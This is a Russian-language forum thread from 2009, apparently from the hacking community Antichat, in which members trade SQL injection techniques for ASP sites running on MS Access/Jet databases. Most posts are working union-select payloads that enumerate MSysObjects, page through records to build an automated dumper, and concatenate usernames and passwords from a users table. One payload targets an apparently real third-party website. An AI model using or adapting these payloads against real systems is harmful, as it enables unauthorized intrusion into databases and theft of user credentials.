ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

09.11.2009, 08:13
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме: 556476
Репутация:
66
|
|
пишу тут потому что в тему
можеть кто знает в Jet database error
на запрос:
выдает:
Код:
Microsoft JET Database Engine error '80040e14'
The Microsoft Jet database engine does not recognize '6' as a valid field name or expression.
а на:
=-1+order+by+4%00
страница открывается, но на нем тоже
Код:
Latest News
Microsoft JET Database Engine error '80040e14'
The Microsoft Jet database engine does not recognize '4' as a valid field name or expression.
/intranet/inx/ecom_engine.asp, line 2462
на запрос:
=-1+union+select+1,2,3,4%00
Код:
Microsoft JET Database Engine error '80004005'
Query input must contain at least one table or query.
/intranet/inx/ecom_engine.asp, line 2462
как обойти? Правда ни одного названия таблиц не знаю.
Может есть новые статьи по Jet database
|
|
|

11.11.2009, 02:59
|
|
Познающий
Регистрация: 23.04.2008
Сообщений: 63
Провел на форуме: 176079
Репутация:
13
|
|
Попробуй заменить коментарий на -- или просто убрать его.
|
|
|

13.11.2009, 21:19
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Сообщение от pampom
Попробуй заменить коментарий на -- или просто убрать его.
А при чём тут комментарий? Если у него order с ним работает, то и union+select будет работать нормально.
YuNi|[c Нужна таблица:
Query input must contain at least one table or query.
|
|
|

19.11.2009, 14:08
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
У меня вопрос к автору темы:
www.site.com/view.asp?id=-1+union+select+top+1+start+at+2+1,name,3,4+from+MS ysObjects+where+MSysObjects.Type=6
по поводу
start+at+2
- откуда вообще эта информация? Что это за start+at? Не в одних офф. документах - долго искал - такого синтаксиса select не обнаружено, на реальной скуле тоже не работает, как только не пробовал
т.е. первая запись цепляется без проблем:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,id,3,4,5,6,7+from+users
а вот вторая следуя инструкциям из первого поста:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+start+at+2+1,id,3,4,5,6,7+from+users
выплевывает ошибку:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression 'start at 2 1'.
Просьба разъяснить момент, если он может разъясниться в принципе, после прочтения вот этой ссылки, например:
http://office.microsoft.com/ru-ru/access/HA012314971049.aspx
по логике получается возможным перебор тогда только таким образом (универсально, т.к. я допускаю, что у меня какая-то нестандартная скуля, хотя очень сильно сомневаюсь):
цепляем первую запись:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,id,3,4,5,6,7+from+users
выдаст к примеру 34, тогда запрос на выборку следующей записи будет такой:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,id,3,4,5,6,7+from+users+where+id>34
выдало к примеру 39, следующая так:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,id,3,4,5,6,7+from+users+where+id>39
Хотелось бы разобраться в данном моменте
|
|
|

19.11.2009, 15:37
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме: 7215020
Репутация:
1423
|
|
Как вариант можно использовать такую же конструкцию, как в mssql
union+select+top+1+colname+from+tablename+where +colname+not+in+(select+top+n+colname+from+tablename)
Пример:
http://www.pcci.org.za/default.asp?id=-1+union+select+top+1+1,name+from+msysobjects+where +name+not+in+(select+top+47+name+from+msysobjects)
|
|
|

19.11.2009, 15:53
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
2 ElteRUS:
Вот это действительно офигенный вариант, т.к. именно этот вариант позволит написать многопоточный брутер даже не зная названия autoincriment поля (по умолчанию ID обычно). Просто блестящая идея, риспект
PS: И строка запроса по длине не будет раздуваться, т.к. меняется только число топов, и для конкатеции подойдет - гениальное решение, просто нет слов!
|
|
|

19.11.2009, 16:51
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
Сообщение от Pashkela
2 ElteRUS:
Вот это действительно офигенный вариант, т.к. именно этот вариант позволит написать многопоточный брутер даже не зная названия autoincriment поля (по умолчанию ID обычно). Просто блестящая идея, риспект
PS: И строка запроса по длине не будет раздуваться, т.к. меняется только число топов, и для конкатеции подойдет - гениальное решение, просто нет слов!
Интересно, каким образом ты реализовал дампер для mssql, если там алгоритм точно такой же, а ты впервые об этом слышишь.
|
|
|

19.11.2009, 16:12
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Небольшое дополнение к статье
CONCAT in Ms Access
пример, нужно выцепить NAME и PASSWORD из таблы USERS к примеру в одном запросе, делается так:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,name%2bchr(58)%2bpassword,3,4,5,6,7+from+users
выведет к примеру admin : qwerty
НО, если мы захотим также выцепить ID к примеру, то по идее должны составить такой запрос:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,id%2bchr(58)name%2bchr(58)%2bpassword,3,4,5,6,7+from+users
и вместо ожидаемого 1 : admin : qwerty
мы увидим примерно следующее:
Data type mismatch in criteria expression
т.к. поле ID - чисто числовое, а числовые поля конкатировать с помощью %2b в ms access не получиться, таким образом можно конкатировать только поля с типом text (ну или подобным)
Но есть выход, т.к. в ms access есть функция конвертации любого значения в text type, это функция StrConv(var,[option])
где var - то, что конвертируем, а option - как конвертируем
option:
vbUpperCase 1 Converts the string to all uppercase.
vbLowerCase 2 Converts the string to all lowercase.
vbProperCase 3 Converts the first letter to every word to uppercase. All other characters are left as lowercase. This option is similar to the InitCap function in Oracle.
vbUnicode 64 Converts the string to Unicode.
vbFromUnicode 128 Converts the string from Unicode to the default code page of the system.
для нас совершенно подойдет просто 1 в данном случае, т.е. конечный правильный запрос будет выглядеть так:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,StrConv(id,1)%2bchr(58)name%2bchr(58)%2bpassword,3,4,5,6,7+from+users
и вот тогда мы получим желаемый результат:
1 : admin : qwerty
Последний раз редактировалось Pashkela; 19.11.2009 в 16:26..
|
|
|

19.11.2009, 16:55
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
там просто алгоритм другой чуть-чуть у меня:
select+table_name+from+information_schema.tables+w here+table_name+not+in+(table1,table2,table3...... .....)
т.е. не на числе топов организовано
а дамп непосредственно данных ( вообще-то про что тут речь и идет - не название таблиц/колонок, а уже данные) осуществляется по autoincriment полю, которое указывается вручную, с предварительным подсчетом данных в таблице
Вообще, если есть вопросы по тулзе, есть отдельная тема для этого здесь
И потом тут речь идет об ms access, как бы проверить, что такой метод работает и тут можно было только экспериментальным путем, плюс в статье автора нет ни слова про такой метод, отсюда и неподдельное ура и риспект 2 ElteRUS
Но суть понял потому побег переделывать mssql
Последний раз редактировалось Pashkela; 19.11.2009 в 18:23..
|
|
|

19.11.2009, 18:30
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме: 5939734
Репутация:
1917
|
|
вот посмотри как я сделал это на мускуле, так как просто нет под рукой Tsql:
Код:
mysql> select * from test;
+------+
| id |
+------+
| pash |
| ke |
| la |
+------+
3 rows in set (0,00 sec)
mysql> select (select id from (select id from test order by id asc limit 1) as a order by id desc limit 1);
+----------------------------------------------------------------------------------------------+
| (select id from (select id from test order by id asc limit 1) as a order by id desc limit 1) |
+----------------------------------------------------------------------------------------------+
| ke |
+----------------------------------------------------------------------------------------------+
1 row in set (0,00 sec)
mysql> select (select id from (select id from test order by id asc limit 2) as a order by id desc limit 1);
+----------------------------------------------------------------------------------------------+
| (select id from (select id from test order by id asc limit 2) as a order by id desc limit 1) |
+----------------------------------------------------------------------------------------------+
| la |
+----------------------------------------------------------------------------------------------+
1 row in set (0,00 sec)
это легко переделывается под access,MSsql и Sybase
__________________
Карфаген должен быть разрушен...
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|